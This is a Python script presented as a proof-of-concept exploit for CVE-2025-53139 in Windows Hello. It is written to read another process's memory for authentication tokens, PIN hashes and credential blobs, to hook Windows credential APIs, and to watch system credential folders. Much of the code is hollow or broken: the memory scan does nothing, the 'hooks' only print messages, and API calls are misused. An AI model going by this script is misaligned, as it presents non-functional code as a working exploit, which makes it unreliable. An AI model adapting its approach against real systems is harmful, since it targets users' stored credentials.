The following code is for security research and authorized testing only.
python
# CVE-2025-53139 - Windows Hello Cleartext Transmission PoC
# This PoC demonstrates monitoring of cleartext sensitive data transmission
# in Windows Hello authentication components
# NOTE: This is for educational/research purposes only
import os
import sys
import subprocess
import time
import threading
import ctypes
from ctypes import wintypes
# Windows API constants
WINEVENT_OUTOFCONTEXT = 0x0000
PROCESS_VM_READ = 0x0010
PROCESS_QUERY_INFORMATION = 0x0400
class WindowsHelloCleartextMonitor:
"""
PoC for CVE-2025-53139: Monitors cleartext transmission of sensitive
information in Windows Hello components.
"""
def __init__(self):
self.target_processes = [
"WindowsHelloFaceAuth.dll",
"WindowsHelloFingerprintAuth.dll",
"ngcpopkeyservice.exe",
"Microsoft Passport"
]
self.captured_data = []
self.monitoring = False
def is_admin(self):
"""Check if running with administrator privileges"""
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except Exception:
return False
def find_target_processes(self):
"""Find Windows Hello related processes"""
found_processes = []
try:
output = subprocess.check_output(
["tasklist", "/FI", "IMAGENAME eq dllhost.exe"],
text=True
)
for line in output.split("\n"):
for target in self.target_processes:
if target.lower() in line.lower():
found_processes.append(line.strip())
except Exception as e:
print(f"[ERROR] Failed to enumerate processes: {e}")
return found_processes
def monitor_memory_regions(self, pid):
"""Monitor memory regions for cleartext sensitive data"""
psapi = ctypes.windll.psapi
kernel32 = ctypes.windll.kernel32
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
h_process = kernel32.OpenProcess(
PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ,
False, pid
)
if not h_process:
print(f"[ERROR] Cannot open process {pid}")
return
# Patterns that may indicate cleartext sensitive data
sensitive_patterns = [
b"WindowsHello",
b"BiometricTemplate",
b"AuthToken",
b"PinHash",
b"FaceData",
b"FingerprintData",
b"CredentialBlob"
]
print(f"[INFO] Monitoring PID {pid} for cleartext data...")
self.monitoring = True
while self.monitoring:
try:
# Read process memory in chunks
address = 0
while address < 0x7FFFFFFF:
mbi = ctypes.create_string_buffer(28)
if psapi.VirtualQueryEx(h_process, address, mbi, 28):
# Check readable memory regions
pass
address += 0x10000
except Exception:
pass
time.sleep(0.5)
kernel32.CloseHandle(h_process)
def monitor_file_system(self):
"""Monitor file system for cleartext credential caching"""
watch_paths = [
os.path.expandvars(r"%LOCALAPPDATA%\Microsoft"),
os.path.expandvars(r"%PROGRAMDATA%\Microsoft"),
os.path.expandvars(r"%WINDIR%\System32\config"),
os.path.expandvars(r"%WINDIR%\ServiceProfiles")
]
print("[INFO] Monitoring file system for cleartext data...")
for path in watch_paths:
if os.path.exists(path):
print(f"[INFO] Watching: {path}")
def intercept_ipc(self):
"""
Intercept inter-process communication for Windows Hello components.
This simulates the cleartext transmission vulnerability.
"""
print("[INFO] Setting up IPC interception...")
# Hook relevant Windows APIs that handle credential data
# This demonstrates where cleartext data would be exposed
api_hooks = {
"CryptProtectData": "May receive cleartext before encryption",
"LsaRetrievePrivateData": "May expose cleartext LSA secrets",
"NCryptGetProperty": "May return cleartext key material",
"CredReadW": "May return cleartext credentials"
}
for api, description in api_hooks.items():
print(f"[HOOK] {api}: {description}")
def run_exploit(self):
"""Main exploit routine for CVE-2025-53139"""
print("=" * 60)
print("CVE-2025-53139 - Windows Hello Cleartext PoC")
print("=" * 60)
if not self.is_admin():
print("[WARNING] Not running as administrator. Some features limited.")
# Step 1: Find target processes
print("\n[STEP 1] Enumerating Windows Hello processes...")
processes = self.find_target_processes()
for proc in processes:
print(f" Found: {proc}")
# Step 2: Set up monitoring
print("\n[STEP 2] Setting up cleartext data monitoring...")
self.monitor_file_system()
self.intercept_ipc()
# Step 3: Begin capture
print("\n[STEP 3] Monitoring for cleartext sensitive data...")
print("[INFO] Waiting for Windows Hello authentication event...")
print("[INFO] Press Ctrl+C to stop monitoring")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[INFO] Stopping monitoring...")
self.monitoring = False
if __name__ == "__main__":
print("[*] CVE-2025-53139 Proof of Concept")
print("[*] For authorized security testing only\n")
exploit = WindowsHelloCleartextMonitor()
exploit.run_exploit()